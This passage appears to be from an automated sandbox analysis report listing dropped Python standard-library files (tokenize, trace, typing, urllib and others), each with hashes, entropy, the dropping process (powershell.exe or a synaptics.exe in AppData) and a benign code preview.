              Category:dropped
              Size (bytes):26605
              Entropy (8bit):4.4796819072543625
              Encrypted:false
              SSDEEP:
              MD5:A17093EC72AAEA5AC4577A66AA08A854
              SHA1:426A82CFAD92FF74C773A402A04E5F2E62E7DFAA
              SHA-256:2358675675BEB7A085FB97A7470B7E96327DFA8DE25BA49C5E5B4153197A4086
              SHA-512:5B81E97E8EC85A59C1F95148030DD1754C8E6D80FE794D895A05F47CA63961E49FA7074DCA85EBE79FE813467676C58DC7D428FFF19DF8ECE321ACC9E9CE28DE
              Malicious:false
              Reputation:unknown
              Preview:"""Tokenization help for Python programs.....tokenize(readline) is a generator that breaks a stream of bytes into..Python tokens. It decodes the bytes according to PEP-0263 for..determining source file encoding.....It accepts a readline-like method which is called repeatedly to get the..next line of input (or b"" for EOF). It generates 5-tuples with these..members:.... the token type (see token.py).. the token (a string).. the starting (row, column) indices of the token (a 2-tuple of ints).. the ending (row, column) indices of the token (a 2-tuple of ints).. the original line (string)....It is designed to match the working of the Python tokenizer exactly, except..that it produces COMMENT tokens for comments and gives type OP for all..operators. Additionally, all token lists start with an ENCODING token..which tells you which encoding was used to decode the bytes stream..."""....__author__ = 'Ka-Ping Yee <ping@lfw.org>'..__credits__ = ('GvR, ESR, Tim Peters, Thomas Wou

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\trace.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):29943
              Entropy (8bit):4.347507846378227
              Encrypted:false
              SSDEEP:
              MD5:44BAC37B405DD10CBEFE06F87249CDEF
              SHA1:3F1F7575D8FEE518D2E1D898CE1B557FEFD89A84
              SHA-256:7D0148C232A2116E1F47346532B62CAAB39D26743299E734362551520828C713
              SHA-512:2DDAEA9CC43D90404031A2E395320F5830717BD8CC9064948AD5039EF09DE640CA49F0601821A6EAC8EE3E7DF8C9C93B32C30FFAB48B89A7BF9EBE1BA963BA7E
              Malicious:false
              Reputation:unknown
              Preview:#!/usr/bin/env python3....# portions copyright 2001, Autonomous Zones Industries, Inc., all rights.....# err... reserved and offered to the public under the terms of the..# Python 2.2 license...# Author: Zooko O'Whielacronx..# http://zooko.com/..# mailto:zooko@zooko.com..#..# Copyright 2000, Mojam Media, Inc., all rights reserved...# Author: Skip Montanaro..#..# Copyright 1999, Bioreason, Inc., all rights reserved...# Author: Andrew Dalke..#..# Copyright 1995-1997, Automatrix, Inc., all rights reserved...# Author: Skip Montanaro..#..# Copyright 1991-1995, Stichting Mathematisch Centrum, all rights reserved...#..#..# Permission to use, copy, modify, and distribute this Python software and..# its associated documentation for any purpose without fee is hereby..# granted, provided that the above copyright notice appears in all copies,..# and that both that copyright notice and this permission notice appear in..# supporting documentation, and that the name of neither Automatrix,..# Bioreas

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\traceback.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):26910
              Entropy (8bit):4.415954176266664
              Encrypted:false
              SSDEEP:
              MD5:9FF63955DDAAD02512C46D4042FF21D5
              SHA1:9FD62E2D0BC3AB552157F6A844870D1C4D092A95
              SHA-256:3725667A85A861E1EE626774F9AE11F3EF7DAB2210222EB1742546F8057CA7B5
              SHA-512:79F56EE47A36CF81A4361927B17BA7F69507961ECF196419C0AFD06516F53C2891C30A469100233E410BEFC6244831FD21F6866BE9F61BF80BD402DBF100BE9D
              Malicious:false
              Reputation:unknown
              Preview:"""Extract, format and print information about Python stack traces."""....import collections..import itertools..import linecache..import sys....__all__ = ['extract_stack', 'extract_tb', 'format_exception',.. 'format_exception_only', 'format_list', 'format_stack',.. 'format_tb', 'print_exc', 'format_exc', 'print_exception',.. 'print_last', 'print_stack', 'print_tb', 'clear_frames',.. 'FrameSummary', 'StackSummary', 'TracebackException',.. 'walk_stack', 'walk_tb']....#..# Formatting and printing lists of traceback lines...#....def print_list(extracted_list, file=None):.. """Print the list of tuples as returned by extract_tb() or.. extract_stack() as a formatted stack trace to the given file.""".. if file is None:.. file = sys.stderr.. for item in StackSummary.from_list(extracted_list).format():.. print(item, file=file, end="")....def format_list(extracted_list):.. """Format a list of tuples or FrameSummary obj

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\tracemalloc.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):18607
              Entropy (8bit):4.3022125555964355
              Encrypted:false
              SSDEEP:
              MD5:0233BC515180C861D919BA79B6928163
              SHA1:FD671280B0ECDD6E8EB44F36C75ADE6E5C32DE8F
              SHA-256:488C28AD5FD084DD715986EA235928894F1B140AC880A5872655A99C97054DC2
              SHA-512:6B158318BF6BBCE099EC3519E5A2780504ADBB93B76F33FA19DE57BCA808757A466731D2D7C47EBCA29B492AE66685908449B811A02DA1BD62FE1F6D95B0A7A5
              Malicious:false
              Reputation:unknown
              Preview:from collections.abc import Sequence, Iterable..from functools import total_ordering..import fnmatch..import linecache..import os.path..import pickle....# Import types and functions implemented in C..from _tracemalloc import *..from _tracemalloc import _get_object_traceback, _get_traces......def _format_size(size, sign):.. for unit in ('B', 'KiB', 'MiB', 'GiB', 'TiB'):.. if abs(size) < 100 and unit != 'B':.. # 3 digits (xx.x UNIT).. if sign:.. return "%+.1f %s" % (size, unit).. else:.. return "%.1f %s" % (size, unit).. if abs(size) < 10 * 1024 or unit == 'TiB':.. # 4 or 5 digits (xxxx UNIT).. if sign:.. return "%+.0f %s" % (size, unit).. else:.. return "%.0f %s" % (size, unit).. size /= 1024......class Statistic:.. """.. Statistic difference on memory allocations between two Snapshot instance... """.... __slots__ = ('traceback

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\tty.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):915
              Entropy (8bit):5.155261600153728
              Encrypted:false
              SSDEEP:
              MD5:766278735444B810C8C42470582F1A83
              SHA1:0137F3643374A75BC4F60CE34668BEA5C299C921
              SHA-256:45805F726BF977290DFAC21AEAC1E506E7759804BF9D01DB5DCF7D17337AEA30
              SHA-512:FD1EE04ED1AED4097E96A15A902398790447DB311577E8B8ECA86752D353A2699D6C9101C4D5DDF846DBFC3144B8B51CAC0016C1C84827AE7A0B30E9E88F7AC4
              Malicious:false
              Reputation:unknown
              Preview:"""Terminal utilities."""....# Author: Steen Lumholt.....from termios import *....__all__ = ["setraw", "setcbreak"]....# Indexes for termios list...IFLAG = 0..OFLAG = 1..CFLAG = 2..LFLAG = 3..ISPEED = 4..OSPEED = 5..CC = 6....def setraw(fd, when=TCSAFLUSH):.. """Put terminal into a raw mode.""".. mode = tcgetattr(fd).. mode[IFLAG] = mode[IFLAG] & ~(BRKINT | ICRNL | INPCK | ISTRIP | IXON).. mode[OFLAG] = mode[OFLAG] & ~(OPOST).. mode[CFLAG] = mode[CFLAG] & ~(CSIZE | PARENB).. mode[CFLAG] = mode[CFLAG] | CS8.. mode[LFLAG] = mode[LFLAG] & ~(ECHO | ICANON | IEXTEN | ISIG).. mode[CC][VMIN] = 1.. mode[CC][VTIME] = 0.. tcsetattr(fd, when, mode)....def setcbreak(fd, when=TCSAFLUSH):.. """Put terminal into a cbreak mode.""".. mode = tcgetattr(fd).. mode[LFLAG] = mode[LFLAG] & ~(ECHO | ICANON).. mode[CC][VMIN] = 1.. mode[CC][VTIME] = 0.. tcsetattr(fd, when, mode)..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\turtle.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):147901
              Entropy (8bit):4.482922205570421
              Encrypted:false
              SSDEEP:
              MD5:87A161538841B0A199EE354BAAFE9EDA
              SHA1:D6F87E3743EB1A92F75F7DB91D5ED609F721E1A2
              SHA-256:9D4D85BD394123349A6F73326C9236D45E84F0920C2695FEB9B1CD18C6BF2681
              SHA-512:34D3314445EA94C30A19B8080C79034A7A434A0293317B44D9F128A45ADC107BCA8736121A72FFE7B04EDFE38BAEE876E6FB2D0375A095D48A79EF698939CB4F
              Malicious:false
              Reputation:unknown
              Preview:#..# turtle.py: a Tkinter based turtle graphics module for Python..# Version 1.1b - 4. 5. 2009..#..# Copyright (C) 2006 - 2010 Gregor Lingl..# email: glingl@aon.at..#..# This software is provided 'as-is', without any express or implied..# warranty. In no event will the authors be held liable for any damages..# arising from the use of this software...#..# Permission is granted to anyone to use this software for any purpose,..# including commercial applications, and to alter it and redistribute it..# freely, subject to the following restrictions:..#..# 1. The origin of this software must not be misrepresented; you must not..# claim that you wrote the original software. If you use this software..# in a product, an acknowledgment in the product documentation would be..# appreciated but is not required...# 2. Altered source versions must be plainly marked as such, and must not be..# misrepresented as being the original software...# 3. This notice may not be removed or altered

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\types.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):10424
              Entropy (8bit):4.624334482565398
              Encrypted:false
              SSDEEP:
              MD5:C58C7A4EE7E383BE91CD75264D67B13B
              SHA1:60914B6F1022249CD5D0CF8CAA7ADB4DCF34C9EA
              SHA-256:0D3A1A2F8F0E286AD9EADBB397AF0C2DC4BEF0C71A7EBE4B51DED9862A301B01
              SHA-512:9450E434C0D4ABB93FA4CA2049626C05F65D4FB796D17AC5E504B8EC086ABEC00DCDC54319C1097D20E6E1EEC82529993482E37A0BF9675328421F1FA073BF04
              Malicious:false
              Reputation:unknown
              Preview:"""..Define names for built-in types that aren't directly accessible as a builtin..."""..import sys....# Iterators in Python aren't a matter of type but of protocol. A large..# and changing number of builtin types implement *some* flavor of..# iterator. Don't check the type! Use hasattr to check for both..# "__iter__" and "__next__" attributes instead.....def _f(): pass..FunctionType = type(_f)..LambdaType = type(lambda: None) # Same as FunctionType..CodeType = type(_f.__code__)..MappingProxyType = type(type.__dict__)..SimpleNamespace = type(sys.implementation)....def _cell_factory():.. a = 1.. def f():.. nonlocal a.. return f.__closure__[0]..CellType = type(_cell_factory())....def _g():.. yield 1..GeneratorType = type(_g())....async def _c(): pass.._c = _c()..CoroutineType = type(_c).._c.close() # Prevent ResourceWarning....async def _ag():.. yield.._ag = _ag()..AsyncGeneratorType = type(_ag)....class _C:.. def _m(self): pass..MethodType = type(_C(

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\typing.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):95233
              Entropy (8bit):4.620896311323428
              Encrypted:false
              SSDEEP:
              MD5:82326ED4E7F4E1BEA3CF43DBBD7A1BC5
              SHA1:A87A102CD28E9CC4749DFCC320434866D7B23315
              SHA-256:6297F3CDEE258CF737E0167974DB2912F5933F59F8E7FD1EE33FD2F7A959351D
              SHA-512:C2A68B6F90321725442A69C75297E62C08F38BB9DA6A3EB1DC43CF0817633CED9CD70421FCD375A39D69FC0E4D8CE7E69D88835C8C75B8B0337CE8B30AA1713C
              Malicious:false
              Reputation:unknown
              Preview:"""..The typing module: Support for gradual typing as defined by PEP 484.....At large scale, the structure of the module is following:..* Imports and exports, all public names should be explicitly added to __all__...* Internal helper functions: these should never be used in code outside this module...* _SpecialForm and its instances (special forms):.. Any, NoReturn, ClassVar, Union, Optional, Concatenate..* Classes whose instances can be type arguments in addition to types:.. ForwardRef, TypeVar and ParamSpec..* The core of internal generics API: _Generiuseras and _VariadicGeneriuseras, the latter is.. currently only used by Tuple and Callable. All subscripted types like X[int], Union[int, str],.. etc., are instances of either of these classes...* The public counterpart of the generics API consists of two classes: Generic and Protocol...* Public helper functions: get_type_hints, overload, cast, no_type_check,.. no_type_check_decorator...* Generic aliases for collections.abc ABCs a

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\urllib\__pycache__\__init__.cpython-310.pyc.25167312

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):154
              Entropy (8bit):4.450674551672057
              Encrypted:false
              SSDEEP:
              MD5:57FBF915C22E62CF19AA0CACB215E92B
              SHA1:E2EAAE051AF962886793A0A6F992DD1DD5F9A70F
              SHA-256:FD7121655991D49EFECF69678572A93298E271366878CCEE7B6B01E645CDEA63
              SHA-512:FFE9562BD2CDFE6849138C35E65017ADEE5A4BE7841B7E9DBF9BB5272CA4FD79D68FB5D3D223FBFB346EBB3753DE6CAF7340243BFECF8302EB1ED5943892D410
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d.........................@...s....d.S.).N..r....r....r.....=C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\urllib\__init__.py..<module>....s......

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\urllib\__pycache__\error.cpython-310.pyc.56034320

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):2876
              Entropy (8bit):4.917526757315736
              Encrypted:false
              SSDEEP:
              MD5:CF9E35068EA5060DA4FA685E6DB6ED88
              SHA1:0190F94254617D72C1ECD8E350B85CF57C4E845B
              SHA-256:E625D3312DCCA77859122226BF2A6CEDDBE25E3C149C2A3A0EC32E044BC418AD
              SHA-512:02D8F0936537723FA7D254199BE7E0A53FA9F84F8CDC4445F48EE101AE66FAE429AB25BE7154DCBC4090E27C9C28CF0339C0AC171F6A85AD3358616531DDB0EE
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d.........................@...sV...d.Z.d.d.l.Z.d.d.l.Z.g.d...Z.G.d.d...d.e...Z.G.d.d...d.e.e.j.j...Z.G.d.d...d.e...Z.d.S.).a....Exception classes raised by urllib...The base exception class is URLError, which inherits from OSError. It.doesn't define any behavior of its own, but is the base class for all.exceptions defined in this package...HTTPError is an exception class that is also a valid HTTP response.instance. It behaves this way because HTTP protocol errors are valid.responses, with a status code, headers, and a body. In some contexts,.an application may want to handle an exception like a regular.response.......N)...URLError..HTTPError..ContentTooShortErrorc....................@...s....e.Z.d.Z.d.d.d...Z.d.d...Z.d.S.).r....Nc....................C...s$...|.f.|._.|.|._.|.d.u.r.|.|._.d.S.d.S...N)...args..reason..filename)...selfr....r......r.....:C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\urllib\error.py..__init__....s..............z.URLError.__init__c..................

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\urllib\__pycache__\parse.cpython-310.pyc.30323728

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):33799
              Entropy (8bit):5.440431788899437
              Encrypted:false
              SSDEEP:
              MD5:9ACE890CBCDEC93FB049E58DF2F79EA6
              SHA1:6825438D803BB30A7D976EBC0ED0E6DAAFA4CBF2
              SHA-256:5E22834F262CBBB1C274CD2FBE217CE15E719DF9514D8793DBAE5107C3C08E47
              SHA-512:B11BB780AB58104D994CBC2AA98D2758A31964AF5705365B4D9751EC6F42FFD9F7D06D93ABC33ED16B348E324FE110A859E2AB5DDECED0F0281826B1E9301A00
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d........................@...s....d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.g.d...Z.g.d...Z.g.d...Z.g.d...Z.g.d...Z.g.d...Z.g.d...Z.d.Z.g.d...Z.d.Z.i.Z.d.d...Z.d.Z.d.Z.d.d...Z.e.e.f.d.d...Z.e.e.f.d.d...Z.d.d...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d ..d e.e...Z.G.d!d"..d"e.e...Z.d.d#l.m.Z...e.d$d%..Z.e.d&d'..Z e.d(d)..Z!d*e._.d+e.j"_.d,e.j#_.d-e _.d.e j$_.d/e j%_.d0e j&_.d1e j'_.d2e j#_.d3e!_.e j$j.e!j$_.e j%j.e!j%_.e j&j.e!j&_.d4e!j(_.e j'j.e!j'_.e j#j.e!j#_.e.Z)G.d5d$..d$e.e...Z*G.d6d&..d&e e...Z+G.d7d(..d(e!e...Z,G.d8d9..d9e.e...Z-G.d:d;..d;e e...Z.G.d<d=..d=e!e...Z/d>d?..Z0e0....[0d.dBdC..Z1dDdE..Z2d.dFdG..Z3dHdI..Z4d.dJdK..Z5dLdM..Z6dNdO..Z7d.dPdQ..Z8dRdS..Z9dTZ:d.a;dUdV..Z<e..=dW..Z>d.dZd[..Z?.\.]d.d^d_..Z@.\.]d.d`da..ZAd.dbdc..ZBeCdd..ZDeEeD..ZFi.ZGG.dedf..dfe.jH..ZId.dhdi..ZJd.djdk..ZKd.dldm..ZLd\d@d.d.eKf.dndo..ZMdpdq..ZNdrds..ZOdtdu..ZPdvdw..ZQd.aRdxdy..ZSdzd{..ZTd.aUd|d}..ZVd~d...ZWd.d...ZXd.d...ZYd.d...ZZd.d...Z[d.a\d.d...Z]d.d.d...Z^d.d.d...Z_

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\urllib\__pycache__\request.cpython-310.pyc.25167088

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):71361
              Entropy (8bit):5.431933683229879
              Encrypted:false
              SSDEEP:
              MD5:A0129FFA850AF4975F6E0EE31C07DEDA
              SHA1:5C24F916B2CF7EE3D2CBF2F437D535EF25D2F127
              SHA-256:9B57519B8792197C0CCE01E3E75AD2FD611FB24BE7AF3E6638A8B07217A40C22
              SHA-512:D7131978584A4F150AF0EE3417553F99CF0FE96BD69C4B63C6100E20CCBC1FF190565A69C13F2D10BEEB3A0839B12C64279610E2EB8D3A2044EF0FB666FC0ED1
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d.........................@...s....d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m Z m!Z!m"Z"m#Z#m$Z$m%Z%m&Z&m'Z'm(Z(..d.d.l)m*Z*m+Z+..z.d.d.l,Z,W.n...e-y.......d.Z.Y.n.w.d.Z.g.d...Z/d.e.j0d.d.......Z1d.a2d.e.j3f.d.d.d.d.d...d.d...Z4d.d...Z5g.Z6d.d.d...Z7d.d...Z8e..9d.e.j:..Z;d.d...Z<G.d.d...d...Z=G.d.d...d...Z>d.d...Z?G.d.d...d...Z@G.d.d ..d e@..ZAG.d!d"..d"e@..ZBG.d#d$..d$e@..ZCd%d&..ZDG.d'd(..d(e@..ZEG.d)d*..d*..ZFG.d+d,..d,eF..ZGG.d-d...d.eG..ZHG.d/d0..d0..ZIG.d1d2..d2eIe@..ZJG.d3d4..d4eIe@..ZKe.jLZMG.d5d6..d6..ZNG.d7d8..d8e@eN..ZOG.d9d:..d:e@eN..ZPG.d;d<..d<e@..ZQG.d=d>..d>eQ..ZReSe.jTd?....rtG.d@dA..dAeQ..ZUe/.VdA....G.dBdC..dCe@..ZWG.dDdE..dEe@..ZXdFdG..ZYdHdI..ZZG.dJdK..dKe@..Z[dLdM..Z\G.dNdO..dOe@..Z]G.dPdQ..dQe]..Z^G.dRdS..dSe@..Z_dTZ`e.jadUk...r.d.dVlbmcZcmdZd..n.dWdX..ZcdYdZ..Zdi.ZeG.d[d\..d\..ZfG.d]d^..d^ef..Zgd.ahd_

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\urllib\__pycache__\response.cpython-310.pyc.56034992

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):3490
              Entropy (8bit):4.755048628938591
              Encrypted:false
              SSDEEP:
              MD5:663D95E9C34013650DBA84AC21750A77
              SHA1:DF9A1B095A383B3B6B965EE0591CE8056243062A
              SHA-256:9DD76CDCE4E7E8544FB4C2E1864D4172A3DBA989DB6C522B3E356BEAF09B6223
              SHA-512:C003543A735E800C371756CC53B9A200BD4722E352E1F26E573F124FD8F496C9A81D80DB3E92C1800A01B4080AE7650C39C9594EFA325D81387AD64EE70E4066
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d.........................@...sZ...d.Z.d.d.l.Z.g.d...Z.G.d.d...d.e.j...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.d.S.).a....Response classes used by urllib...The base class, addbase, defines a minimal file-like interface,.including read() and readline(). The typical response object is an.addinfourl instance, which defines an info() method that returns.headers and a geturl() method that returns the url.......N)...addbase..addclosehook..addinfo..addinfourlc........................s8...e.Z.d.Z.d.Z...f.d.d...Z.d.d...Z.d.d...Z.d.d...Z.....Z.S.).r....zOBase class for addinfo and addclosehook. Is a good idea for garbage collection.c........................s ...t.t.|...j.|.d.d.d.....|.|._.d.S.).Nz.<urllib response>F)...delete)...superr......__init__..fp)...selfr........__class__...=C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\urllib\response.pyr........s........z.addbase.__init__c....................C...s....d.|.j.j.t.|...|.j.f...S.).Nz.<%s at %r whose fp = %r>).r......__name

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\urllib\error.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):2489
              Entropy (8bit):4.639470944288693
              Encrypted:false
              SSDEEP:
              MD5:03686114721E9382F02E9F7BA58C6D75
              SHA1:010D984B477B36EE38BC6F0A3C769D1DE4C8B38A
              SHA-256:17E896A26FF42405F58189DE81A531B17630398CFBC7C9E2B72ED1AC472ACF01
              SHA-512:0CB25AB2DBAD2811AEBF5186FD5D5996BC66AE113D2F19EE56F397840E9F630D224829969774D91E00168105B6DB800B707C15A2CB898FA75BA91348B9D3922F
              Malicious:false
              Reputation:unknown
              Preview:"""Exception classes raised by urllib.....The base exception class is URLError, which inherits from OSError. It..doesn't define any behavior of its own, but is the base class for all..exceptions defined in this package.....HTTPError is an exception class that is also a valid HTTP response..instance. It behaves this way because HTTP protocol errors are valid..responses, with a status code, headers, and a body. In some contexts,..an application may want to handle an exception like a regular..response..."""..import io..import urllib.response....__all__ = ['URLError', 'HTTPError', 'ContentTooShortError']......class URLError(OSError):.. # URLError is a sub-type of OSError, but it doesn't share any of.. # the implementation. need to override __init__ and __str__... # It sets self.args for compatibility with other OSError.. # subclasses, but args doesn't have the typical format with errno in.. # slot 0 and strerror in slot 1. This may be better than nothing... def __ini

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\urllib\parse.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, Unicode text, UTF-8 text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):43463
              Entropy (8bit):4.67743372821875
              Encrypted:false
              SSDEEP:
              MD5:93EED57FB7B8E0BA840402C2189F2501
              SHA1:7BAEE34ECCF9EB12A2ED4E18033A395E4B19253A
              SHA-256:A70A09CD0CF91D735AE6B121D0F790FC9A8F497918794A72485F1DEAB360DBC2
              SHA-512:5904086E7C9A325083554FD862ED7868C147C33B137AA38DA3F4C9E3E2FB1E15001307130364000AF71BF6ACA89B92B1BEBA828B6AE721F1CC2CF20DC519569D
              Malicious:false
              Reputation:unknown
              Preview:"""Parse (absolute and relative) URLs.....urlparse module is based upon the following RFC specifications.....RFC 3986 (STD66): "Uniform Resource Identifiers" by T. Berners-Lee, R. Fielding..and L. Masinter, January 2005.....RFC 2732 : "Format for Literal IPv6 Addresses in URL's by R.Hinden, B.Carpenter..and L.Masinter, December 1999.....RFC 2396: "Uniform Resource Identifiers (URI)": Generic Syntax by T...Berners-Lee, R. Fielding, and L. Masinter, August 1998.....RFC 2368: "The mailto URL scheme", by P.Hoffman , L Masinter, J. Zawinski, July 1998.....RFC 1808: "Relative Uniform Resource Locators", by R. Fielding, UC Irvine, June..1995.....RFC 1738: "Uniform Resource Locators (URL)" by T. Berners-Lee, L. Masinter, M...McCahill, December 1994....RFC 3986 is considered the current standard and any future changes to..urlparse module should conform with it. The urlparse module is..currently not entirely compliant with this RFC due to defacto..scenarios for parsing, and for backward compa

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\urllib\request.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):104880
              Entropy (8bit):4.4616704457405785
              Encrypted:false
              SSDEEP:
              MD5:AFE01E917CE572825DA95E2F73C3A182
              SHA1:B594E4DF01E500977FCE80A72D5D394EB88936F2
              SHA-256:A07AF23F83F01C5567676BDE1E4CD9FA58161B1D2BBCE00DB630AE881A011416
              SHA-512:E54F110C9232B72EE23C7B3B35D8FB09B6223372EEF98F7B82092F8912379734F45CCC01DDE6822D2C302E9EAC7E36B0A15A65BA62B1674262184C462EF414F6
              Malicious:false
              Reputation:unknown
              Preview:"""An extensible library for opening URLs using a variety of protocols....The simplest way to use this module is to call the urlopen function,..which accepts a string containing a URL or a Request object (described..below). It opens the URL and returns the results as file-like..object; the returned object has some extra methods described below.....The OpenerDirector manages a collection of Handler objects that do..all the actual work. Each Handler implements a particular protocol or..option. The OpenerDirector is a composite object that invokes the..Handlers needed to open the requested URL. For example, the..HTTPHandler performs HTTP GET and POST requests and deals with..non-error returns. The HTTPRedirectHandler automatically deals with..HTTP 301, 302, 303 and 307 redirect errors, and the HTTPDigestAuthHandler..deals with digest authentication.....urlopen(url, data=None) -- Basic usage is the same as original..urllib. pass the url and optionally data to post to an HTTP URL, and

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\urllib\response.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):2445
              Entropy (8bit):4.431974454129167
              Encrypted:false
              SSDEEP:
              MD5:D531F0A30312F650F962EAA31652AEBB
              SHA1:A565B2AB6F6A05F0681B62B5E2E77B9BC25D3683
              SHA-256:3B79834FB777BCC3601B05C8A2BBFAB1A72BF99B10E5A5D2C20A7C3A4583D0CF
              SHA-512:25BBA9683CC29296DD103473FBDC24CF7037FCC9736494DA749B3BB9A4189B108B2CDC586AEB923BF2B48D147FFBB306D073F2A1BB1430599B8AE74F6CB629E6
              Malicious:false
              Reputation:unknown
              Preview:"""Response classes used by urllib.....The base class, addbase, defines a minimal file-like interface,..including read() and readline(). The typical response object is an..addinfourl instance, which defines an info() method that returns..headers and a geturl() method that returns the url..."""....import tempfile....__all__ = ['addbase', 'addclosehook', 'addinfo', 'addinfourl']......class addbase(tempfile._TemporaryFileWrapper):.. """Base class for addinfo and addclosehook. Is a good idea for garbage collection.""".... # XXX Add a method to expose the timeout on the underlying socket?.... def __init__(self, fp):.. super(addbase, self).__init__(fp, '<urllib response>', delete=False).. # Keep reference around as this was part of the original API... self.fp = fp.... def __repr__(self):.. return '<%s at %r whose fp = %r>' % (self.__class__.__name__,.. id(self), self.file).... def __enter__(self):..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\urllib\robotparser.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):9697
              Entropy (8bit):4.15994740890475
              Encrypted:false
              SSDEEP:
              MD5:A024DF2786691CF05997954F37178BE0
              SHA1:617ACE96E03067AD58490972A1E2122885C19813
              SHA-256:05CED87A4F681014F6A5BF7370680CDCE02B392A559832CB6D2AA2F910F7D5EB
              SHA-512:FA3406801D1D39B9BFCF052A473F297E2782F19F18A5C24139E94088F5AAABC15D1EFE7269E4E7426E13DD4DA0BC92F0A9C661B3325CEE171E3C910EA6820793
              Malicious:false
              Reputation:unknown
              Preview:""" robotparser.py.... Copyright (C) 2000 Bastian Kleineidam.... You can choose between two licenses when using this package:.. 1) GNU GPLv2.. 2) PSF license for Python 2.2.... The robots.txt Exclusion Protocol is implemented as specified in.. http://www.robotstxt.org/norobots-rfc.txt.."""....import collections..import urllib.parse..import urllib.request....__all__ = ["RobotFileParser"]....RequestRate = collections.namedtuple("RequestRate", "requests seconds")......class RobotFileParser:.. """ This class provides a set of methods to read, parse and answer.. questions about a single robots.txt file..... """.... def __init__(self, url=''):.. self.entries = [].. self.sitemaps = [].. self.default_entry = None.. self.disallow_all = False.. self.allow_all = False.. self.set_url(url).. self.last_checked = 0.... def mtime(self):.. """Returns the time the robots.txt file was last fetched..... This i

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\uu.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):7165
              Entropy (8bit):4.635646219278868
              Encrypted:false
              SSDEEP:
              MD5:CDE9C803E2AC98627170F6CDD8030520
